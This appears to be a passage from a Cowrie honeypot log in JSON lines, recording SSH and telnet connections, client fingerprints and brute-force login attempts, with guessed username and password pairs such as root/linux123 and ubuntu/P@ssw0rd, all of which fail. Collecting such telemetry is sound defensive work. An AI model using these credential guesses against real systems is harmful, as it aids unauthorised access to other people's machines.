{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:31:00.381792Z","src_ip":"8.218.166.49","session":"a1f5fc4984bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:31:01.865244Z","src_ip":"8.218.166.49","session":"a1f5fc4984bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:31:13.509547Z","src_ip":"8.218.166.49","session":"a1f5fc4984bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.4","message":"Connection lost after 17.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:31:16.290766Z","src_ip":"8.218.166.49","session":"a1f5fc4984bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:31:20.742285Z","src_ip":"8.218.166.49","session":"c6f97715ead5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":55410,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5ecf08c88d0","protocol":"ssh","message":"New connection: 101.36.124.219:55410 (159.203.135.109:22) [session: e5ecf08c88d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:31:25.880884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:31:25.886707Z","src_ip":"101.36.124.219","session":"e5ecf08c88d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:31:26.112454Z","src_ip":"101.36.124.219","session":"e5ecf08c88d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:31:27.042655Z","src_ip":"101.36.124.219","session":"e5ecf08c88d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:31:28.272982Z","src_ip":"101.36.124.219","session":"e5ecf08c88d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:31:32.522421Z","src_ip":"8.218.166.49","session":"e235982b6e76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"75.8","message":"Connection lost after 75.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:31:42.819234Z","src_ip":"8.218.166.49","session":"e235982b6e76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:31:56.423533Z","src_ip":"8.218.166.49","session":"c6f97715ead5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"87.2","message":"Connection lost after 87.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:32:08.919064Z","src_ip":"8.218.166.49","session":"c6f97715ead5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00790047645569,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:32:33.769897Z","src_ip":"82.147.206.14","session":"45a8a42ef4e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:32:34.977474Z","src_ip":"8.218.166.49","session":"b074af5a37d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.96.139.95","src_port":46063,"dst_ip":"10.17.0.5","dst_port":22,"session":"73bc5d854bb6","protocol":"ssh","message":"New connection: 195.96.139.95:46063 (10.17.0.5:22) [session: 73bc5d854bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:32:39.086887Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:32:41.087507Z","src_ip":"195.96.139.95","session":"73bc5d854bb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.96.139.95","src_port":47211,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6580b73791b","protocol":"ssh","message":"New connection: 195.96.139.95:47211 (10.17.0.5:22) [session: d6580b73791b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:32:41.154444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:32:41.159938Z","src_ip":"195.96.139.95","session":"d6580b73791b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:32:41.230413Z","src_ip":"195.96.139.95","session":"d6580b73791b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:32:41.310563Z","src_ip":"195.96.139.95","session":"d6580b73791b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":35650,"dst_ip":"10.17.0.5","dst_port":22,"session":"e54cd7740d0b","protocol":"ssh","message":"New connection: 8.218.166.49:35650 (10.17.0.5:22) [session: e54cd7740d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:32:47.644183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:32:47.725103Z","src_ip":"8.218.166.49","session":"e54cd7740d0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:32:47.922693Z","src_ip":"8.218.166.49","session":"e54cd7740d0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:32:48.881527Z","src_ip":"8.218.166.49","session":"e54cd7740d0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:32:50.148647Z","src_ip":"8.218.166.49","session":"e54cd7740d0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":54278,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c6296405079","protocol":"ssh","message":"New connection: 88.147.30.59:54278 (159.203.135.109:22) [session: 5c6296405079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:32:54.375384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:32:54.380598Z","src_ip":"88.147.30.59","session":"5c6296405079","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:32:54.502754Z","src_ip":"88.147.30.59","session":"5c6296405079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1A2A3A4A5","message":"login attempt [root/A1A2A3A4A5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:32:55.025471Z","src_ip":"88.147.30.59","session":"5c6296405079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:32:56.150744Z","src_ip":"88.147.30.59","session":"5c6296405079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":41100,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6480f7056bc","protocol":"ssh","message":"New connection: 101.36.124.219:41100 (159.203.135.109:22) [session: e6480f7056bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:33:06.476935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:33:06.481436Z","src_ip":"101.36.124.219","session":"e6480f7056bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:33:06.699183Z","src_ip":"101.36.124.219","session":"e6480f7056bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rich","message":"login attempt [root/rich] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:33:07.601003Z","src_ip":"101.36.124.219","session":"e6480f7056bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:33:08.822184Z","src_ip":"101.36.124.219","session":"e6480f7056bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":43732,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cee7e37021b","protocol":"ssh","message":"New connection: 8.218.166.49:43732 (10.17.0.5:22) [session: 9cee7e37021b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:33:21.426521Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":36352,"dst_ip":"10.17.0.5","dst_port":22,"session":"e524ab15081c","protocol":"ssh","message":"New connection: 8.218.166.49:36352 (10.17.0.5:22) [session: e524ab15081c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:33:30.248179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:33:30.253160Z","src_ip":"8.218.166.49","session":"e524ab15081c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60758,"dst_ip":"10.17.0.5","dst_port":22,"session":"022aa3f3a0c9","protocol":"ssh","message":"New connection: 8.218.166.49:60758 (10.17.0.5:22) [session: 022aa3f3a0c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:33:40.539011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:33:40.543312Z","src_ip":"8.218.166.49","session":"022aa3f3a0c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60760,"dst_ip":"10.17.0.5","dst_port":22,"session":"30950cffffea","protocol":"ssh","message":"New connection: 8.218.166.49:60760 (10.17.0.5:22) [session: 30950cffffea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:33:43.147088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:33:43.151345Z","src_ip":"8.218.166.49","session":"30950cffffea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.14.197","src_port":52171,"dst_ip":"10.17.0.5","dst_port":22,"session":"c29b677e6c2c","protocol":"ssh","message":"New connection: 45.33.14.197:52171 (10.17.0.5:22) [session: c29b677e6c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:06.720846Z"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:07.156070Z","src_ip":"45.33.14.197","session":"c29b677e6c2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"